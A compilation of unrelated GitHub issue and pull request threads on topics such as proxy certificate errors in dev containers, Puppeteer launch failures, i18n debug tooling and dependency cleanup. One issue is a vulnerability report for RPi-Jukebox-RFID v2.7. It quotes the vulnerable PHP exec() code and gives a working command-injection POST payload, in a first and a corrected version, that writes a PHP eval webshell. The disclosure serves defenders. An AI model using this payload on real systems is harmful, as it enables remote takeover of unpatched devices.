+            : base($"{message} " + "{" + $"status: {statusCode}, response: {response}" + "}", innerException)
+        {

In particular, I had to avoid using the double braces which have special meaning both for liquid and C# interpolation strings.

Instead of overriding the File.liquid template I decided to override only the SwaggerException class using the ExceptionClass setting: https://github.com/RSuter/NSwag/blob/master/src/NSwag.Commands/Commands/CodeGeneration/SwaggerToCSharpClientCommand.cs#L90


Generalize watch to support running a command, arbitrary nix files

I haven't looked at the implementation, but it would be helpful if following worked:
$ lorri watch -f nix/myfoo.nix --run ls

Motivation: https://github.com/hercules-ci/arion/issues/36

I proposed a possible implementation of something similar once we switch away from lorri watch to the lorri daemon interface. https://github.com/target/lorri/issues/78

Closing in favor of #78.


Pan21

Description
ansible for "the gibson"
Motivation and Context
Provisioning
How Has This Been Tested?
Molecule
Types of changes

New feature (non-breaking change which adds functionality)

Checklist

[x] I have updated the documentation accordingly.
[x] I have read the CONTRIBUTING document.
[x] I have added tests to cover my changes if appropriate.
[x] All new and existing tests passed.

Builds are now failing due to missing modules:
Downloading github.com/mrichardson03/terraform-aws-panos-firewall?ref=v1.0.1 for firewall...
- firewall in .terraform/modules/firewall
Downloading github.com/mrichardson03/terraform-aws-instance.git?ref=v0.0.2 for scoreboard...
Downloading github.com/mrichardson03/terraform-aws-vpc?ref=v0.0.3 for vpc...


Can route to "/login, /signup" page, when User logged.

Can route to "/login, /signup" page, when User logged.

This is expected behavior. If you'd like to redirect away from these when you have a logged in user, it's recommended to add this to your authentication strategy.


Stop installing typing on Python 3.5+

Installing https://pypi.org/project/typing/ is not needed on Python 3.5+. Additionally, a bug in pip means that having typing from PyPI breaks some commands on Python 3.7 and 3.8. Our only dependency that installed typing inconditionally is pycalver, so this pull request fixes the issue.
Thanks!

Indeed, have this fixed already on other similar projects. Thanks for the PR!


Tks are not being recorded

The bot was working fine until yesterday 5/3/21. The app would not record any TKs or respond to any commands.

I sent this message out via the bot to all the servers, although some weren't able to receive it so I'll leave this issue open with context:
Hey everyone, Kyle here. Sorry to say but Tarkov TK has shut down. The cost of hosting the bot has risen to over $30 a month, and as it doesn't generate income I can't justify keeping it running.
The code for the bot is available here on Github https://github.com/kyleshepherd/discord-tk-bot so if anyone would like to run their own then feel free (worth noting the code could do with a fair bit of refactoring).
I'm available to contact via my Twitter if anyone has any questions about running their own version, or receiving their server data https://twitter.com/kyleshepherddev?lang=en

Okay sorry to hear that I would love to be able to have this run again. Thank you so much for your help.
Sent from my Verizon, Samsung Galaxy smartphone
Get Outlook for Androidhttps://aka.ms/AAb9ysg

From: Kyle Shepherd @.>
Sent: Tuesday, May 4, 2021 2:17:01 AM
To: kyleshepherd/discord-tk-bot @.>
Cc: 710Gaming @.>; Author @.>
Subject: Re: [kyleshepherd/discord-tk-bot] Tks are not being recorded (#6)
I sent this message out via the bot to all the servers, although some weren't able to receive it so I'll leave this issue open with context:
Hey everyone, Kyle here. Sorry to say but Tarkov TK has shut down. The cost of hosting the bot has risen to over $30 a month, and as it doesn't generate income I can't justify keeping it running.
The code for the bot is available here on Github https://github.com/kyleshepherd/discord-tk-bot so if anyone would like to run their own then feel free (worth noting the code could do with a fair bit of refactoring).
I'm available to contact via my Twitter if anyone has any questions about running their own version, or receiving their server data https://twitter.com/kyleshepherddev?lang=en
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHubhttps://github.com/kyleshepherd/discord-tk-bot/issues/6#issuecomment-831763671, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AT6BYVVWN3HRDCSBXUJVLODTL6UP3ANCNFSM44CCDK7A.


Create StreamConsumer and StreamMetadataProvider interfaces for splitting the consumers created by StreamConsumerFactory

As part of https://github.com/linkedin/pinot/issues/2583 we plan to make the code accept any stream and not be kafka specific.
This PR attempts to separate and abstract out the StreamConsumer and StreamMetadataProvider

Codecov Report

Merging #3169 into master will decrease coverage by <.01%.
The diff coverage is 69.11%.

@@             Coverage Diff              @@
##             master    #3169      +/-   ##
============================================
- Coverage     70.29%   70.29%   -0.01%
  Complexity        4        4
============================================
  Files           951      953       +2
  Lines         43963    43989      +26
  Branches       5938     5940       +2
============================================
+ Hits          30903    30921      +18
- Misses        10993    11003      +10
+ Partials       2067     2065       -2

Impacted Files
Coverage Δ
Complexity Δ

...ore/realtime/impl/kafka/SimpleConsumerFactory.java
100% <100%> (ø)
0 <0> (ø)
:arrow_down:

...ot/core/realtime/stream/StreamConsumerFactory.java
100% <100%> (ø)
0 <0> (?)

.../core/realtime/PinotLLCRealtimeSegmentManager.java
73.34% <50%> (-0.25%)
0 <0> (ø)

.../impl/kafka/KafkaSimpleStreamMetadataProvider.java
43.67% <52.63%> (ø)
0 <0> (?)

...realtime/stream/StreamConsumerFactoryProvider.java
62.5% <62.5%> (ø)
0 <0> (?)

...manager/realtime/LLRealtimeSegmentDataManager.java
73.22% <64.28%> (-0.58%)
0 <0> (ø)

...realtime/impl/kafka/KafkaSimpleStreamConsumer.java
64.51% <64.51%> (ø)
0 <0> (?)

...roller/helix/core/PinotTableIdealStateBuilder.java
78.37% <66.66%> (-0.39%)
0 <0> (ø)

...re/realtime/impl/kafka/KafkaConnectionHandler.java
74.84% <90%> (+0.15%)
0 <0> (ø)
:arrow_down:

.../impl/dictionary/FloatOnHeapMutableDictionary.java
80% <0%> (-13.34%)
0% <0%> (ø)

... and 19 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 8c85e7b...82b4eb9. Read the comment docs.


"unable to get local issuer certificate" attempting to install extensions into dev container by code-server on dev container build

Does this issue occur when all extensions are disabled?: N/A

VS Code Version: 1.80.0
OS Version: Windows 10 21H2

Steps to Reproduce:

Create a dev container with one more extensions added in the customisation section
Open Dev container when behind a proxy with custom root CA (zscaler)

In this case the extensions are not installed.
I can confirm that extensions are fine to be installed when in the local VS Code environment.
There are also no problems when installing from a WSL remote session.
Interestingly, I can also install the extensions once I am inside the dev container.
The problem seems to be specifically with this code-server command:
 /home/vscode/.vscode-server/bin/660393deaaa6d1996740ff4880f1bad43768c814/bin/code-server --log debug --force-disable-user-env --server-data-dir /home/vscode/.vscode-server --use-host-proxy --telemetry-level all --accept-server-license-terms --host <IP_ADDRESS> --port 0 --connection-token-file /home/vscode/.vscode-server/data/Machine/.connection-token-660393deaaa6d1996740ff4880f1bad43768c814 --extensions-download-dir /home/vscode/.vscode-server/extensionsCache --install-extension jebbs.plantuml --install-extension yzhang.markdown-all-in-one --install-extension DavidAnson.vscode-markdownlint --install-extension shd101wyy.markdown-preview-enhanced --install-extension darkriszty.markdown-table-prettify --install-extension marvhen.reflow-markdown --start-server --disable-websocket-compression
If I run this manually from the terminal inside the dev container, I can see the following certificate errors:
[13:31:16] Installing extensions...
[13:31:16] Extension host agent started.
[13:31:16] No uninstalled extensions found.
[13:31:16] ComputeTargetPlatform: linux-x64
[13:31:16] ComputeTargetPlatform: linux-x64
[13:31:17] unable to get local issuer certificate
[13:31:17] unable to get local issuer certificate
[13:31:17] unable to get local issuer certificate
[13:31:17] unable to get local issuer certificate
[13:31:17] unable to get local issuer certificate
[13:31:17] unable to get local issuer certificate

I can only assume this is related to the fact I am using a corporate device that is configured to use Zscaler with custom Root CA installed. (testing no a personal device with same dev container is fine)
If I try the same command but use code instead of code-server, then the extensions install fine. If I install them from the Extensions pane in the UI, they also install OK. It just seems to be code-server that causes this issue.
I note there is parameter --use-host-proxy I have tried removing this, but still have the same issue.
I have tried numerous proxy settings, both on the host and the dev container, either explicitly setting a proxy address, or leaving blank, disabling completely and using combinations of "http.proxyStrictSSL": false / "http.proxyStrictSSL": true"
I have also tried installing the Zscaler Root CA and intermediate certificates directly in the dev container by copying .crt files into /usr/local/share/ca-certificates and running update-ca-certificates. They are already installed on my Windows laptop and I have tried the win-ca extension to either append or replace. Downloading the extensions from the dev container using either curl or wget also works fine.
Nothing I have tried seems to be able to get rid of the unable to get local issuer certificate message when the extensions are attempted to be installed by code-server.
Any thoughts / assistance / guidance greatly appreciated!

As a workaround you could try setting NODE_EXTRA_CA_CERTS in the devcontainer.json's containerEnv to the path of the .crt file (requires PEM format, I think) in the container.

Amazing.. that seems to have fixed it for now, thanks!

I get the same issue with zscaler when trying to install and extension from the command line e.g.
$ code --install-extension Shopify.ruby-lsp                                     Installing extensions...
unable to get local issuer certificate
Failed Installing Extensions: shopify.ruby-lsp

Its strange because if I start the gui and then install the extension with clicks it works fine.

I am having this same exact issue only I'm on MacOS.  I tried all the tricks the OP suggested - all to no avail.  I also tried adding:
  "containerEnv" {
    "NODE_EXTRA_CA_CERTS": "/usr/share/ca-certificates/zscaler/ZscalerRootCertificate-2048-SHA256.crt"
  },

I am not sure if setting this env var takes place before/after the Dockerfile COPY directive which copies the certificate file (it has file extension *.crt but it's in PEM format).
...to the .devcontainer.json as suggested by @chrmarti , but again, still getting numerous Error: unable to get local issuer certificate. errors...  now what?  thanks...

@wolfch-elsevier Maybe check if update-ca-certificates's output shows a certificate was added.

@chrmarti  I thought the devcontainer features were being installed from within the container, but no - it's part of the image building process, so the host needs the extra cert configured.  So I just needed to set:
export NODE_EXTRA_CA_CERTS="<path-to-cert>"

Then run "devcontainer up".   but I'll leave the setting containerEnv in these also.

As a workaround you could try setting NODE_EXTRA_CA_CERTS in the devcontainer.json's containerEnv to the path of the .crt file (requires PEM format, I think) in the container.

This solves a problem I've been struggling with for months.

More details: https://code.visualstudio.com/docs/setup/network#_legacy-proxy-server-support
Specific GitHub issues tracking the feature improvements to make this work properly:
https://github.com/microsoft/vscode/issues/12588
https://github.com/microsoft/vscode/issues/29910

@chrmarti I thought the devcontainer features were being installed from within the container, but no - it's part of the image building process, so the host needs the extra cert configured. So I just needed to set:
export NODE_EXTRA_CA_CERTS="<path-to-cert>"

Then run "devcontainer up". but I'll leave the setting containerEnv in devcontainer.json also. Thanks for the quick reply!

Could you please suggest where and how should this env variable be set? We have the exact same problem

@chrmarti I thought the devcontainer features were being installed from within the container, but no - it's part of the image building process, so the host needs the extra cert configured. So I just needed to set:
export NODE_EXTRA_CA_CERTS="<path-to-cert>"

Then run "devcontainer up". but I'll leave the setting containerEnv in devcontainer.json also. Thanks for the quick reply!

@wolfch-elsevier I've the same problem with extensions on latest vscode! Where do I place the export statement to get it working?


How to use complete Chrome？

Puppeteer version: 1.2.0
Platform / OS version: CentOS 7.4.1708
Node.js version: 8.10.0

The sample code I used:
const puppeteer = require('puppeteer');

(async () => {
  const browser = await puppeteer.launch({args: ['--no-sandbox', '--disable-setuid-sandbox']});
  const page = await browser.newPage();
  await page.goto('https://www.baidu.com');
  await page.screenshot({path: 'example.png'});

  await browser.close();
})();

problem
After installing Centos dependencies and adding {args: ['--no-sandbox', '--disable-setuid-sandbox']} , I can run pupeteter in headless mode.
But when I added parameter headless: false.
const browser = await puppeteer.launch({args: ['--no-sandbox', '--disable-setuid-sandbox'], headless: false});
An error occurred:
(node:26244) UnhandledPromiseRejectionWarning: Error: Failed to launch chrome!

(chrome:26254): Gtk-WARNING **: cannot open display:
[0319/160809.263548:ERROR:nacl_helper_linux.cc(310)] NaCl helper process running without a sandbox!
Most likely you need to configure your SUID sandbox correctly

TROUBLESHOOTING: https://github.com/GoogleChrome/puppeteer/blob/master/docs/troubleshooting.md

    at onClose (/root/node_modules/puppeteer/lib/Launcher.js:246:14)
    at Interface.helper.addEventListener (/root/node_modules/puppeteer/lib/Launcher.js:235:50)
    at emitNone (events.js:111:20)
    at Interface.emit (events.js:208:7)
    at Interface.close (readline.js:370:8)
    at Socket.onend (readline.js:149:10)
    at emitNone (events.js:111:20)
    at Socket.emit (events.js:208:7)
    at endReadableNT (_stream_readable.js:1064:12)
    at _combinedTickCallback (internal/process/next_tick.js:138:11)
(node:26244) UnhandledPromiseRejectionWarning: Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). (rejection id: 1)
(node:26244) [DEP0018] DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.

How can i fix it?
By the way, here are some additional error messages:

ldd /usr/bin/Xorg
This error has been solved


[Preview] Travis container support

This currently depends on #77.  (I did that to avoid the need to fix the gaia tests that exist on master, but will soon go away.)  I will rebase this on master once that goes in.  I just wanted to show of the working container support.  The run time is down to 2.5 minutes. :joy_cat:

You rock!

This is ready to go when the tests are done.

2m 33s Travis run. LGTM!

Here comes :racehorse: :runner: :athletic_shoe: !


Updated toMomentObject to take advantage of moment format array

Moment can take an array of formats as outlined in
http://momentjs.com/docs/#/parsing/special-formats/
Using this makes the toMomentObject util easier to understand as it
reduces if return statements within the method.
All tests still pass with the refactor

LGTM as well!


feat(atomic): style rephrase buttons and add auto option

SVCC-3510
Change Rephrasing Buttons styles to match the new mockups and Add auto option selected by default.
Before:

After:

Mobile layout:

Very small Mobile Layout:

Demo:
https://github.com/coveo/ui-kit/assets/119955059/1b40b5ad-998b-423f-9f12-9503b5aa4193

I am getting errors when clicking the dislike and rephrase buttons.

@lbergeron Ive change method format as suggested in the review but the method calling needed to be also updated in this case, it's fixed now 🙈


Test e3sm_diags 2.7.0 build with the latest version of xarray

Per Xylar's request, we should test e3sm_diags with the latest verison of xarray since we ran into issues with it before (I think it was those xarray warnings?).

I think we had issue with dask, but not xarray. I think it is a good idea anyway if we are shooting for converting to xcdat/xarray for the next major release.


Refactor ssp_author_demo

Description

Resolved https://github.com/oscal-compass/compliance-trestle/issues/1602
Removed all unnecessary trestle workspace-related files.
Included descriptive steps and correct obsolete commands/command flags.

Closes #42


Error while creating an API with SOAP endpoint

Description:
Getting an error "Failed to process wsdl" when creating an API with SOAP endpoint where multiple addresses are defined in the WSDL port as in the following example.
<wsdl:port binding="tns:WSHttpBinding_SampleSoap" name="WSHttpBinding_SampleSoap">
<soap12:address location=xxx />
wsa10:EndpointReference
wsa10:Addressxxx</wsa10:Address>

host/localhost

</wsa10:EndpointReference>
</wsdl:port>
Suggested Labels:
Bug
Suggested Assignees:
Affected Product Version:
APIM 2.1.0
OS, DB, other environment details and versions:
Steps to reproduce:

Add new API with a SOAP endpoint. WSDL should contain multiple addresses defined in the WSDL port.
Click on "Next: Implement".

A pop-up will appear with "Failed to process the WSDL"
Related Issues:
No

Fixed .
https://github.com/wso2/carbon-apimgt/pull/5649
https://github.com/wso2/carbon-apimgt/pull/5657


Bug-1292917- docfx.json file updated

"ms.technology" value updated to "Exchange-2013"

:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

Exchange-Deployments-2013/docfx.json
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.

Closing PR without merging as value "ms.technology": "server-general" is provided by Content owner


Build error when using tracing crate

Some changes since version 0.1.42 cause problems when also using the tracing crate. This example code:
#[async_trait]
impl SomeTrait for SomeType {
    #[instrument(skip(self), err)]
    async fn some_fn(&self) -> Result<(), String> {
        ...
    }
}

results in the following build error:
expected struct `Pin`, found enum `std::result::Result`
this expression has type `Pin<Box<impl futures::Future>>`

0.1.42 works fine. Rust version: rustc 1.52.0-nightly (45b3c2851 2021-03-04)

This needs to be fixed in the tracing crate. There is some work in https://github.com/tokio-rs/tracing/pull/1228.

This is merged in tracing, I don't know if a release will be published soon, but I guess you can point to the git repo meanwhile.

Edit: tracing-attributes 0.1.14 was just published! See https://crates.io/crates/tracing-attributes/0.1.14


Sflix is not working

Steps to reproduce
Sflix extension is not working, when I try to watch a movie it keeps showing 'video list is empty'
Expected behavior
If you open click on any movie it will show this message ' video list is empty'
Actual behavior
The extension crashed
Crash logs
No response
Aniyomi version
<IP_ADDRESS>
Android version
Android 11
Device
Google Pixel
Other details
No response
Acknowledgements

[X] I have searched the existing issues and this is a new ticket, NOT a duplicate or related to another open or closed issue.
[X] I have written a short but informative title.
[X] If this is an issue with an official extension, I should be opening an issue in the extensions repository.
[X] If this is an issue with an official manga extension and this issue can be replicated in the Tachiyomi app, that I should be opening an issue in Tachiyomi's extensions repository.
[X] I have gone through the FAQ and troubleshooting guide.
[X] I have updated the app to version <IP_ADDRESS>.
[X] I have updated all installed extensions.
[X] I will fill out all of the requested information in this form.

Extensions related issues should be reported in the extensions repo


docs: add missing flag for CMake configure on Windows

When building on Windows, we need to set the target triple explicitly to
x86_64-unknown-windows-msvc to ensure that the environment is specified
to define the os condition properly.

Replace this paragraph with a description of your changes and rationale. Provide links to external references/discussions if appropriate.

Resolves SR-NNNN.

@swift-ci please smoke test and merge


Could not set unknown property 'archiveName' for task

Versions
Gradle: 8.1.0
Gradle wrappers: 8.0
Fataar: 2.0.1
What are the steps to reproduce this issue?

./gradlew build

What happens?
A problem occurred configuring project ':project'.
> Could not set unknown property 'archiveName' for task ':project:createRsJarAarDebug' of type org.gradle.jvm.tasks.Jar.

What were you expecting to happen?
Synch project with gradle files
Any logs, error output, etc?
(If it’s long, please paste to https://ghostbin.com/ and insert the link here.)
A problem occurred configuring project ':norsk-tipping-oddsen-android'.
> Could not set unknown property 'archiveName' for task ':project:createRsJarAarDebug' of type org.gradle.jvm.tasks.Jar.

Any other comments?

archiveName is deprecated, use archiveBaseName instead.
See also: https://github.com/Mobbeel/fataar-gradle-plugin/issues/47

archiveName is deprecated, use archiveBaseName instead. See also: #47

I am running into this issue. Where should this change (archiveName to archiveBaseName) be done?

Wherever you use it in your app/build.gradle Files


Get rid of old hash syntax

Lots of hashrockets laying around, including some mixing, which is kind of crazy. Probably time to up the hygiene:
<%= link_to radio_path(:per_page => 40, :source => 'those_you_follow'), :title => 'alonetone radio: those you follow' do %>

Shold we close this issue @sudara ?


Add a debug option for the library.

Is your feature request related to a problem? Please describe.
Once again, I would say a big “Thank You” for your efforts and this amazing library.
Essentially, it would be incredible if we could have a global debug option for our translators.
We are using a centralized repository for consuming and updating the translations, it's a simple Strapi web service, the translations are parsed and fetched through API calls at build time.
It's a bit cumbersome though for our people to go through our staging environment and track down the key they should update in the database, since we could have similar values for different keys.
Describe the solution you'd like
Next.js works great with env variables, thus it would be possible to add a debug variable like NEXT_PUBLIC_I18N_DEBUG=true, the next.config.js would be an option as well adding this flag, this flag could get injected into the provider.
Upon rendering, the translated text the renderer should wrap the translated item with a simple  and attach the key as an attribute.
const wrapOnDebug = (el, i18nKey) => {el}

Visualizing and debugging requires no JavaScript at all, a simple CSS snippet could do the trick.
[data-i18n-key] {
  position:relative;
  border-bottom:1px dashed #000;
}

[data-i18n-key]:before {
  content: attr(data-i18n-key); /* here's the magic */
  position:absolute;

  /* vertically center */
  top:50%;
  transform:translateY(-50%);

  /* move to right */
  left:100%;
  margin-left:15px; /* and add a small left margin */

  /* basic styles */
  width:200px;
  padding:10px;
  border-radius:10px;
  background:#000;
  color: #fff;
  text-align:center;

  display:none; /* hide by default */
}

[data-i18n-key]:hover:before {
  display:block;
}

Describe alternatives you've considered
Any other suggestion would be great and really helpful, I can work on this one and provide a POC in no time :)

Hi again @vorillaz!
That's actually a really interesting idea. It reminds me a bit of the a11y tool that Meta has built:

It also uses on-screen overlays that provide additional information.
I'm wondering if even the styling of the overlay could be part of this library (or a sub package). I'm not sure yet what's the best way to tackle it. We're returning raw strings and that's an important aspect for use cases like <button aria-label={t('label')} />. So unfortunately we can't return a span without breaking these cases. Also markup changes can lead to visual differences (even if unlikely with span), so ideally there's a way to avoid this.
I'm wondering if a browser extension could be interesting that attaches these overlays.
I know that crowdin.com has a feature where all messages are replaced with identifiers and based on that they can create automatic mappings to screenshots for example. So there's also an option to solve this on that side.
I'm not sure yet, this might need some more thought …
What you can do right now is toggling your messages to include the key before the message itself, e.g.:
{
  "Home": {
    "title": "[Home.title] Hello!"
  }
}

That could be done in an automatic way on your side.

Hi @amannn, your feedback was pretty amazing, actually. Is there any chance you could provide any resources regarding the Meta tool?
I came up configuring fallbacks for missing translations when my app is deployed in staging environments and loading an external script that highlights everything.
Since we are talking about pure string values, though, is pretty hard and inefficient to traverse the DOM identify the raw values.
That's why I am looking for ~some code to copy/paste~ some inspiration.

Here's some more information on the tool from Meta: https://engineering.fb.com/2020/07/30/web/facebook-com-accessibility/. I think I learned about it from a talk from at developer conference, F8, last year.

I came up configuring fallbacks for missing translations when my app is deployed in staging environments and loading an external script that highlights everything.

That sounds like an interesting idea! Did you end up modifying the DOM then to insert spans that color the strings? I think if React changes that DOM later on, it could run into exceptions, since unexpected nodes are around. E.g. Google Translate does something similar and I've frequently seen it causing trouble with React apps. If your page is rather static this might not be a problem.
I'm wondering if it could work to avoid modifying the DOM, but instead attaching additional markup e.g. to the end of the body, where the elements are absolutely positioned above the respective DOM nodes containing the text.
Cases like this are still pretty hard to get right though:

{t('labelOne')} {t('labelTwo')}

Hey thanks for the info, I'll dig through the Meta implementation.
My idea is pretty rough actually, I would replace the missing items with some identifier like **missing_key**, the asterisks are used in order to identify the missing translations keys.
Afterwards, I can use a simple script in order to parse the DOM and find the missing keys, highlighting the items.
That's pretty rough actually and really heavy processing since we have to traverse the entire tree looking for text matches.
Here is a pretty raw demo.
https://codepen.io/TheodoreVorillas/pen/xxzKOPa

I see, thanks for sharing! From what I see mark.js changes the DOM to insert its elements. That's the case I meant above where React might trip over when it tries to update the DOM that's managed by a component.

next-intl has recently partnered up with Crowdin. Crowdin provides the In-Context setup which effectively can be used as a debug tool for next-intl apps.

Therefore this will be the recommended debug option for next-intl users, hope this helps!

Ha, those are really nice words, thank you so much @vorillaz! 😄
Hope this works for you! Thank you again for opening this issue and providing input!


[TASK] Clean up defunct patches and scripts

What's the task? Please describe
There are scripts in the base longhorn-manager directory that are possibly unused:

https://github.com/longhorn/longhorn-manager/blob/2e493143f7c62033fe80e9ae31caf3bd89f3ad51/update-longhorn-deps.sh
https://github.com/longhorn/longhorn-manager/blob/2e493143f7c62033fe80e9ae31caf3bd89f3ad51/update-vendor.sh

There are patches in longhorn-manager/patch that are possibly unused:

https://github.com/longhorn/longhorn-manager/blob/fc8ef47e403a1272e8564ddb350d62f5aab78b6c/patch

The former script calls the latter and the latter script attempts to apply the patches. However, the patches can no longer be cleanly applied on master and they mention fixes that likely went into vendored components a long time ago.
Clean these up if it is appropriate.
Describe the items of the task (DoD, definition of done) you'd like

Please use a task list for items on a separate line with a clickable checkbox https://docs.github.com/en/issues/tracking-your-work-with-issues/about-task-lists

[ ] Verify the the fixes referenced by the patches are actually in place upstream.
[ ] Delete the patches.
[ ] Verify that no one on the team uses the scripts as part of their workflow.
[ ] Delete the scripts.

Additional context
These files went into the project three years ago and have been untouched since.

https://github.com/longhorn/longhorn-manager/blob/fc8ef47e403a1272e8564ddb350d62f5aab78b6c/patch/vendor-add-duration-seconds-to-election-record.patch is no longer needed because https://github.com/kubernetes/kubernetes/pull/80954 was merged in place of https://github.com/kubernetes/kubernetes/pull/88192. Also, we have not applied the patch since v1.1.x (https://github.com/longhorn/longhorn-manager/commit/8ddc99d50a125a5cb4185466ac7298cafcc0faff).
https://github.com/longhorn/longhorn-manager/blob/fc8ef47e403a1272e8564ddb350d62f5aab78b6c/patch/vendor-fix-nil-pointer-for-Leader-Election-Record.patch is no longer needed because longhorn-manager now uses the Kubernetes v1.28 (> v1.17) go packages.

Since it is impossible to run either script without manual fixes, the patches themselves have not been applied in a couple of years, and the patches are no longer needed, I will remove everything mentioned in the issue.


Add Feature to Support HTTPS/HTTP/NO_PROXY Settings from System

Description
Goal: To allow individuals operating within non-SOCKS corporate proxies (namely HTTP/HTTPS) to use the VIP-CLI since node-fetch does not "respect" system environment variables

Added "feature" environment variable VIP_PROXY_OTHER_ENABLED to activate this functionality (while keeping the library backwards compatible for those who don't use a proxy)
Once enabled, all requests that originally used the SocksProxyAgent will use a proxy agent based on their respective environment variables (including NO_PROXY)
Allows for upper or lowercase environment variables to be specified (upper case takes precedence)
The VIP_PROXY functionality is unchanged. Regardless of the existence of any other environment variable, VIP_PROXY takes precedence no matter what

Steps to Test
Outline the steps to test and verify the PR here.

Check out PR.
Run npm install
Run npm run build
Run ./dist/bin/vip.js with your favorite commands (too many here to mention)
Verify commands run as expected given the environment variables set on your system

Note: I realize this is an "impactful" change given how often web requests are made. That being said, I am not sure the best way to test this with confidence since everyone works in a slightly different environment proxy wise. So any thoughts on that would be appreciated.
Potential Related Work
https://github.com/Automattic/vip/tree/add/proxy-support
https://github.com/Automattic/vip/tree/renovate/socks-proxy-agent-6.x

Hi @Frank-Cerny-FRBC and thanks again for the contribution!

I'm adding some comments into the PR, let us know if you're open to iterate on the PR or if you don't have the bandwith / time since we'd love to include these features too.

Thanks for all the great feedback @andrea-sdl! Greatly appreciated. This is my other account, but I was able to make all the suggested changes. I'll reply to each of your comments.
More feedback on the new changes is also appreciated, as I haven't used the table driven approach before (so thanks for showing me!)

@frank-cerny ! That's great. I am doing some final testing with your PR and will probably approve in the next days.
One thing though: I noticed the npm-shrinkwrap.json differs quite a lot from our main one.
I noticed it because I was having issues with a sha512 from the lando cli.
I believe the underlying issue here is that you probably used a different node version.
Would you mind updating it with this? https://github.com/Automattic/vip/blob/add/url_proxy_configuration/npm-shrinkwrap.json? I think this should be enough.

@andrea-sdl It has been updated. Thanks for the fix! The diff looks much cleaner in the PR, and actually looks correct now.
I did notice it kept updating to shrinkwrap version 2 when I used node 16, so I think you are right, that was the issue. For future reference (and so I don't make this mistake again), what version of node should I be using? 14?

@frank-cerny merged! Thanks again for your help and collaboration!
I'll ping you again once this is released to the public and list you+your change in the CHANGELOG.md

Noting that http proxy support has been removed in https://github.com/Automattic/vip/pull/1102


🐛 | RPi-Jukebox-RFID V2.7_RCE_3

Version
v2.7.0
Branch
released
OS
ubuntu 22
Pi model
unknown
Hardware
No response
What happened?
Hello,
I would like to report for a RCE vulnerability in RPi-Jukebox-RFID-v2.7(No permissions required)
Analysis
The path of the vulnerability: htdocs\manageFilesFolders.php
if(											// Line 90(Check point)
    isset($post['folder'])
    && $post['folder'] != ""
    && file_exists($post['folder'])
    && is_dir($post['folder'])
) {
    $moveFolder = $post['folder'];			// Line 97(Source)
} else {
    $moveFolder = $Audio_Folders_Path;
}
if (
    isset($post['folderNew'])
    && $post['folderNew'] != ""
) {
    $moveFolder = $moveFolder . "/" . $post['folderNew'];	//Line 110(Source)
    if(!file_exists($Audio_Folders_Path . "/" . $moveFolder)) {
        $exec = 'mkdir "' . $moveFolder . '"; chown -R pi:www-data "' . $moveFolder . '"; sudo chmod -R 777 "' . $moveFolder . '"';
        exec($exec);	// Line 115(Sink)
    }
}

Source from Line 97 ($_POST['folder']) and Line 110($post['folderNew']).
And then there is a check point(Line 90) ,which we should set $_POST['folder'] = 2 to bypass.
After bypass the check point, the source(tainted) pass to $exec and exec($exec);(Line 115) without another check.
Poc
POST /htdocs/manageFilesFolders.php
Data:
ACTION=fileUpload&folder=2&folderNew=hello%22+%3b+echo+%22%3c%3fphp+%40eval(%24_POST%5b%27pass%27%5d)+%3f%3e%22++%3e+.%2fshell3.php++%3b+echo+%22hello
Here is the version without url encoding for ease of understanding:
ACTION=fileUpload&folder=2&folderNew=hello" ; echo "<?php @eval($_POST['pass']) ?>"  > ./shell3.php  ; echo "hello
Manual verification

The attacker can then easily connect to this webshell(/htdocs/shell3.php)
Logs
No response
Configuration
No response
More info
No response

I'm sorry for the issue with the PoC I wrote earlier. I forgot to escape @, which resulted in the generated webshell being unusable. Here is the correct PoC:
Poc_fixed
POST /htdocs/manageFilesFolders.php
Data
ACTION=fileUpload&folder=2&folderNew=hello%22+%3b+echo+%22%3c%3fphp+%40eval(%5c%24_POST%5b%27shell3%27%5d)+%3f%3e%22++%3e+.%2fshell3.php++%3b+echo+%22hello
Here is Data without url encoding for ease of understanding:
ACTION=fileUpload&folder=2&folderNew=hello" ; echo "<?php @eval(\$_POST['shell3']) ?>"  > ./shell3.php  ; echo "hello
Manual verification


simplify main.wren

Wren doesn't seem to care whether a method comes from an instance of a class or the class itself, so I made the main file more concise. it avoids the need to instantiate a class and to put an empty constructor method in it, and having the game on the class itself is more akin to how Wren works

You're correct that Wren doesn't mind if it's static or an instance object, it only cares about methods being available.
Originally DOME shipped with a static class exactly like the one in this PR. I moved away from it across all the examples and tutorial content over the last couple years because I found that newcomers to Wren find static class syntax a little strange (mostly around fields), and it wasn't exactly clear to people what was required to use them, or how to differentiate from them.
(As a side benefit, being able to supply an instance of a class as the Game object allows for sub-frameworks that provide their own Game objects to manage the game loop, which is pretty neat for reusability. I do this for my own one, Parcel)
Thanks for the PR, all the same!


VisualiseEconomy.py might not be instantiating Modular Server right

Had a bit of trouble getting the script to work, but I changed the instantiation to the below and that got it working for me:
server = ModularServer(
    WealthModel,
    [grid, chart],
    name="Wealth Model",
    model_params={
        "N": economy_scale*economy_scale,
        "width": economy_scale,
        "height": economy_scale
    })

I got the idea to do that from a quick read through the library you used. Perhaps it's been recently updated. I can make a PR if wanted?

Hey @foogunlana, thanks for noticing this! Could you please go ahead and make a PR? Thanks.

Closed by #2 and #3


⚠ Bofrost.be has degraded performance

In 2c69fb2, Bofrost.be (https://www.bofrost.be) experienced degraded performance:

HTTP code: 200
Response time: 913 ms

Resolved: Bofrost.be performance has improved in 48040b8 after 6 minutes.


volume APIs Does not work

I am using 4.3.0 release of the GPMDP. I am not able to set the volume from the websocket interface. Could you please help?

4.3.0 is quite old, please update to latest which will include many fixes including this issue


Move JIT compilation backends to wasmtime-jit

This is an internal refactoring of the wasmtime crates to move actual
compilation of code from the wasmtime-environ crate to the
wasmtime-jit crate. Eventually it's hoped that all cranelift
dependencies can be removed from wasmtime-environ, but this is
intended to just be a first step for now.

wasmtime-environ is meant to be usable both for JIT and AOT use cases; can you discuss how AOT use cases fit within this refactoring?

